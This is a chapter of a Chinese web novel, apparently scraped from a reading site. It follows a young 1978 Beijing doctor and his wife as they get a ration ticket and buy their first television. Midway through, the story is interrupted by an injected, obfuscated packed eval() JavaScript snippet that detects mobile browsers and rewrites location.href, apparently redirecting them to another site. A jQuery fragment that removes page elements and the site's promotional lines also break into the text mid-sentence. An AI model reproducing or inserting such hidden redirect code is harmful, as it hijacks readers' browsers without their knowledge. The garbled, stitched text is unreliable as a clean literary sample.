大杂院门口,赵大爷正端着碗蹲在门口吃面条。


    “哟,小周两口子回来了?这么高兴,捡着钱了?


    周逸尘捏了捏车闸,单脚撑地。


    “赵大爷,比捡钱还高兴,医院给派活儿了,这是信任。


    赵大爷吸溜了一口面条,竖起大拇指。


    “我就说嘛,小周是干大事的人。


    推着车走进院子,看着自家窗台上那盆开得正艳的君子兰。


    周逸尘心里那股劲儿更足了。


    日子一晃到了四月初,京城的柳絮开始漫天飘。


    周逸尘刚发了工资,连带着那个科研项目的补贴,厚厚的一沓。


    饭桌上没摆菜,摆着一叠大团结。


    江小满盘着腿坐在椅子上,手指头沾了点唾沫,正一张一张地数钱。


    “一百一,一百二……


    数到最后,她的眼睛瞪得溜圆。


    “逸尘,加上你的科研补贴,这个月咱们进项有一百二十块!


    周逸尘坐在对面,手里端着茶杯,笑着看她。


    这年头,普通学徒工一个月才十八块,双职工家庭加起来能有七八十就算不错了。


    一百二十块,那是妥妥的高收入。


    江小满把钱小心翼翼地收进那个带锁的饼干盒子里。


    她拿出账本,扒拉了几下算盘珠子。


    “加上之前的存款,咱们的小金库正式突破五百大关了。


    五百块,在1978年,能在这个四合院里横着走。


    周逸尘放下茶杯,手指在桌面上轻轻敲了两下。


    “钱攒着也是攒着,该添置点大件了。


    江小满合上账本,抬头看他:“你想买啥?缝纫机咱们有了,自行车也有了。


    “买台电视机吧。


    周逸尘语气平淡,像是在说买斤白菜。


    江小满差点从椅子上蹦起来。


    “电视机?那得四百多吧!还得要票!


    她虽然心疼钱,但眼神里明显闪过一丝渴望。


    现在谁家要是有台电视,那是整条胡同的荣耀,晚上能挤满一屋子人。


    周逸尘点了点头。


    “我看中了一款上海牌的,12寸黑白,大概四百块出头。


    “钱咱们够,关键是票。


    江小满叹了口气,肩膀垮了下来。


    “工业券都难凑,更别提电视机票了,听说百货大楼一个月才来几张。


    周逸尘站起身


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    ,走到窗边,给君子兰浇了点水。


    “票的事,我来想办法。


    第二天一早,周逸尘到了医院。


    办公室里,大家都在忙着写病历。


    趁着休息的空档,周逸尘去了趟行政楼。


    他没找别人,直接敲开了王副院长的门。


    王副院长正看着一份文件,见是周逸尘,立马摘下眼镜笑了。


    “小周啊,那三千块经费到位了吧?熏蒸机的事儿怎么样了?


    周逸尘也没客气,拉把椅子坐下。


    “已经在做了,林飞扬正盯着呢。


    聊了几句工作,周逸尘话锋一转。


    “院长,我这想跟院里求个援。


    王副院长愣了一下,这小**时从不开口求人。


    “你说,只要不违反原则。


    “我想买台电视机,手里钱凑够了,就是没票。


    周逸尘说得坦荡。


    “主要是想多看看新闻,了解下国外的医疗动态,顺便也让家里老人解解闷。


    王副院长听完,哈哈大笑。


    “我当什么大事呢。


    他拉开抽屉,在一个牛皮纸信封里翻了翻。


    “上级刚给院里批了几张票,本来是打算奖励给老专家的。


    “不过你这次弄的课题,那是给咱们协和骨科长脸,这奖励你受得起。


    说着,王副院长抽出一张盖着红章的票据,拍在桌子上。


    “拿去!


    周逸尘拿起票,看了一眼,上海牌12寸黑白电视机购货券。


    “谢了,院长。


    周逸尘也不矫情,收好票就走。


    这就是实力的好处,不用送礼,不用求爷爷告奶奶,这票给得理直气壮。


    到了周末,周逸尘骑着那辆永久二八大杠,载着江小满直奔王府井百货大楼。


    百货大楼家电区,围了一圈人。


    大家都盯着柜台上那几台没通电的样机看,眼神里满是羡慕。


    周逸尘挤进去,把票和钱往柜台上一拍。


    “同志,拿一台上海牌12寸。


    售货员原本板着的脸,一看那张票,立马缓和了不少。


    “带户口本了吗?


    “带了。


    验票,交钱,开票。


    四百多块钱递过去,江小满的手稍微有点抖,但很快就被兴奋盖过去了。


    售货员从库房搬出一个大纸箱子。


    拆箱验货。


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    插上电源,屏幕闪了几下雪花,亮了。


    周围看热闹的人群发出一阵低低的惊呼。


    “嚯,这小两口真有钱。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069009|180525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “这是12寸的吧?真气派。”


    周逸尘检查了一下外观,没问题,装箱。


    这么金贵的东西,自行车驮着不放心。


    周逸尘在门口雇了一辆板爷的三轮车。


    两人坐在三轮车上,扶着大纸箱子,一路晃晃悠悠往回走。


    春风得意马蹄疾。


    江小满脸上挂着笑,怎么也收不住。


    进了东堂子胡同,这动静可就大了。


    住西屋的赵大爷正提着鸟笼子溜达,一看这架势,眼珠子都快瞪出来了。


    “哟!小周!这是……电视机?”


    这一嗓子,把院里的人都喊出来了。


    胖婶手里还拿着大葱,钱嫂子抱着孩子,全都围了上来。


    “乖乖,真是电视机啊!”


    “这可是稀罕物,咱们院头一份吧?”


    周逸尘笑着跟邻居们打招呼,手里稳稳地把箱子搬进屋。


    “刚买回来的,晚上大伙儿没事都来看看。”


    进了屋,江小满赶紧找来一块最干净的白布,铺在五斗柜上。


    周逸尘把电视机摆正。


    这年头的电视自带两根拉杆天线,像兔耳朵一样。


    插上电,拧开开关。


    那时候电视节目少,白天没台,只有晚上有。


    好不容易熬到晚上七点。


    周逸尘在那摆弄天线,左转转,右转转。


    屏幕上的雪花点慢慢变少,人影开始清晰起来。


    那是新闻联播片头的地球画面,背景音乐响了起来。


    图像虽然是黑白的,还时不时跳动两下,但在两人眼里,这简直就是神迹。


    江小满激动地抓着周逸尘的胳膊。


    “逸尘,出人儿了!真出人儿了!”


    屋里没开灯,只有电视机荧光屏发出的蓝白色光芒。


    这光芒照亮了两人年轻的脸庞。


    周逸尘搂着媳妇的肩膀,看着屏幕上播音员那端庄的面孔。


    在这个娱乐匮乏的年代,这个小方盒子,就是通向世界的窗户。


    “以后每个周末,咱们都能在家看电影了。”


    周逸尘轻声说道。


    江小满把头靠在他的肩膀上,满眼都是屏幕上的画面。


    “逸尘,这日子过得真像做梦一样。”


    周逸尘笑了笑,握紧了她的手。


    这才哪到哪。


    好日子,还在后头呢。


    电视里的新闻播完了,接着是电视剧。


    虽然剧情简单,画质粗糙,但两人看得津津有味。


    这一晚,东堂子胡同的这扇窗户里,传出了久违的欢笑声。